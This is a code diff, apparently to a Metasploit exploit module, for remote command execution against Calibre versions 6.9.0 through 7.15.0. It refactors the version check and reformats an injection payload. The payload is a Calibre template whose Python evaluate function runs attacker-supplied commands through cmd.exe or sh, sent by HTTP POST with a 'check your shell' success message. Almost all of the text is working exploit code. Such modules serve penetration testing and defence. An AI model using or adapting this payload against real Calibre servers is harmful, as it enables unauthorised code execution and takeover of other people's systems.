@@ -93,7 +93,7 @@ def check
93
93
vprint_status ( 'Version retrieved: ' + version [ 1 ] . to_s )
94
94
end
95
95
96
- if Rex ::Version . new ( version [ 1 ] ) <= Rex ::Version . new ( '7.15 .0' ) && Rex ::Version . new ( version [ 1 ] ) >= Rex :: Version . new ( '6.9 .0')
96
+ if Rex ::Version . new ( version [ 1 ] ) . between? ( Rex ::Version . new ( '6.9 .0' ) , Rex ::Version . new ( '7.15 .0') )
97
97
return CheckCode ::Appears
98
98
else
99
99
return CheckCode ::Safe
@@ -104,12 +104,7 @@ def check
104
104
end
105
105
106
106
def exploit
107
- case target [ 'Type' ]
108
- when :win_fetch
109
- execute_command ( payload . encoded )
110
- when :nix_cmd
111
- execute_command ( payload . encoded )
112
- end
107
+ execute_command ( payload . encoded )
113
108
end
114
109
115
110
def execute_command ( cmd )
@@ -119,7 +114,19 @@ def execute_command(cmd)
119
114
end
120
115
121
116
def exec_calibre ( cmd )
122
- payload = "[[\" template\" ], \" \" , \" \" , \" \" , 1,\" python:def evaluate(a, b):\\ n import subprocess\\ n try:\\ n return subprocess.check_output(['cmd.exe', '/c', '#{ cmd } ']).decode()\\ n except Exception:\\ n return subprocess.check_output(['sh', '-c', '#{ cmd } ']).decode()\" ]"
117
+ payload = '[' \
118
+ '["template"], ' \
119
+ '"", ' \
120
+ '"", ' \
121
+ '"", ' \
122
+ '1,' \
123
+ '"python:def evaluate(a, b):\\n ' \
124
+ 'import subprocess\\n ' \
125
+ 'try:\\n ' \
126
+ "return subprocess.check_output(['cmd.exe', '/c', '#{ cmd } ']).decode()\\ n " \
127
+ 'except Exception:\\n ' \
128
+ "return subprocess.check_output(['sh', '-c', '#{ cmd } ']).decode()\" " \
129
+ ']'
123
130
124
131
res = send_request_cgi ( {
125
132
'method' => 'POST' ,
@@ -130,6 +137,8 @@ def exec_calibre(cmd)
130
137
131
138
if res && res . code == 200
132
139
print_good ( 'Command successfully executed, check your shell.' )
140
+ elsif res && res . code == 400
141
+ fail_with ( Failure ::UnexpectedReply , 'Server replied with a Bad Request response.' )
133
142
end
134
143
end
135
144
0 commit comments